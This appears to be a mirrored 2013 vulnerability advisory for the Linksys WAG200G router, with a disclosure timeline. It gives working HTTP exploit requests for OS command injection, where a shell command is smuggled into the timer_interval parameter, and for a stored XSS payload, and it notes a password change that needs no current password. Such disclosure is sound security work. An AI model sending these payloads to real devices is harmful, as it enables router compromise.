Информационная безопасность
[RU] switch to English


Дополнительная информация

  Многочисленные уязвимости безопасности в маршрутизаторах Cisco Linksys

  Multiple Vulnerabilities in Linksys WRT160Nv2

  Multiple Vulnerabilities in Linksys E1500/E2500

From:devnull_(at)_s3cur1ty.de <devnull_(at)_s3cur1ty.de>
Date:18 февраля 2013 г.
Subject:Multiple Vulnerabilities in Linksys WAG200G



Device Name: Linksys WAG200G
Vendor: Linksys/Cisco

============ Device Description: ============

The WAG200G is a Linksys Wireless-G ADSL Home Gateway which has a high-speed ADSL2+ modem that gives you a fast connection to the Internet.

Source: http://homesupport.cisco.com/en-us/support/gateways/WAG200G

============  Vulnerable Firmware Releases ============

Firmware-Version: v1.01.06

============ Shodan Torks ============

Shodan Search: WAG200G

============ Vulnerability Overview: ============

* OS Command Injection
=> Parameter timer_interval=`%20ping%20-
c2%20192%2e168%2e178%2e104%20`

The vulnerability is caused by missing input validation in the timer_interval parameter and can be exploited to inject and execute arbitrary shell commands. It is possible to start a telnetd or upload and execute a backdoor to compromise the device.
You need to be authenticated to the device or you have to find other methods for inserting the malicious commands.

Example Exploit:

POST /setup.cgi HTTP/1.1
Host: 192.168.178.199
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.178.199/setup.cgi?next_file=Setup.htm
Authorization: Basic #########
Content-Type: application/x-www-form-urlencoded
Content-Length: 1051
Connection: close

wan_encapmode=pppoa&wan_multiplex=llc&pppoa_multiplex=vc&wan_qostype=
ubr&wan_autodetect=enable&dsl_modulation=MMODE&bridged_dhcpenable=dhc
p&ipppoe_enable=0&PoeUserName=admin&PoePasswd=admin&pppoeDODC=ppp
oeDODC&poeIdleTime=5&hostname=test&domainname=&mtu_type=auto&
lan_ip_1=192&lan_ip_2=168&lan_ip_3=178&lan_ip_4=199&lan_mask=0&
lan_dhcp=disable&time_zone=%2B0+2&timer_interval=`%20ping%
20192%2e168%2e178%2e104%20`&upgrade_langpkt=1&save=Sa
ve+Settings&c4_wan_ip_=&c4_wan_mask_=&c4_wan_gw_=&c4_wan_dns1_=&
c4_wan_dns2_=&c4_lan_ip_=192.168.178.
199&c4_dhcpserver_ip_=&c4_static_dns0_=&c4_static_dns1_=&c4_stati
c_dns2_=&c4_wan_wins_=&h_wan_encapmode=pppoa&h_wan_multiplex=llc&
h_pppoa_multiplex=vc&h_wan_qostype=ubr&h_wan_autodetect=enable&h_dsl_
modulation=MMODE&h_bridged_dhcpenable=dhcp&h_pppoeDODC=pppoeDODC&h_mt
u_type=auto&h_lan_mask=0&h_lan_dhcp=disable&h_time_zone=%2B0+2&
h_auto_dls=disable&PppoeUserName=&PppoePasswd=&PppoaUserName=admin&
PppoaPasswd=admin&h_ipppoe_enable=0&h_upgrade_langpkt
=1&todo=save&this_file=Setup.htm&next_file=Setup.htm&message=

Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/WAG200-os-command-injec
tion.png


* For changing the password there is no request to the current password.

With this vulnerability an attacker is able to change the current password without knowing it. The attacker needs access to an authenticated browser.

* Stored XSS

Injecting scripts into the parameter policy_name reveals that this parameter is not properly validated for malicious input. You need to be authenticated or you have to find other methods for inserting the malicious JavaScript code.

Access Restrictions -> Enter Policy Name
=> the script gets executed under Status -> Wireless

POST /setup.cgi HTTP/1.1
Host: 192.168.178.199
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.178.199/setup.cgi?next_file=AccessRes.htm
Authorization: Basic xxx=
Content-Type: application/x-www-form-urlencoded
Content-Length: 584

access_policy=1&f_status1=enable&policy_name=123"><img%20s
rc%3d"0"%20onerror%3dalert("XSSed1")>&
f_status2=deny&time=settimes&starthour=0&startminute=0&endhour=0&
endminute=0&save=Save+Settings&h_access_policy=1&h_f_status1=enable&
h_f_status2=deny&h_alldays=disable&h_sun=disable&h_mon=disable&h_
tue=disable&h_wed=disable&h_thurs=disable&h_fri=disable&h_sat=dis
able&h_time=settimes&h_starthour=0&h_startminute=0&h_endhour=0&
h_endminute=0&h_blocked_service0=None&h_blocked_service1=None&h_svc_t
ype0=icmp&h_svc_type1=icmp&todo=save&this_file=AccessRes.
htm&next_file=AccessRes.htm&message=

Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/WAG200-stored-xss-acces
s-restrictions.png


============ Solution ============

No known solution available.

============ Credits ============

The vulnerability was discovered by Michael Messner
Mail: devnull#at#s3cur1ty#dot#de
Web: http://www.s3cur1ty.de
Advisory URL: http://www.s3cur1ty.de/m1adv2013-016
Twitter: @s3cur1ty_de

============ Time Line: ============

October 2012 - discovered vulnerability
16.10.2012 - contacted Linksys and give them detailed vulnerability details
16.10.2012 - Linksys responded with case number
13.11.2012 - /me requested update of the progress
15.11.2012 - Case closed
08.02.2013 - public release

===================== Advisory end =====================

О сайте | Условия использования
© SecurityVulns, 3APA3A, Владимир Дубровин
Нижний Новгород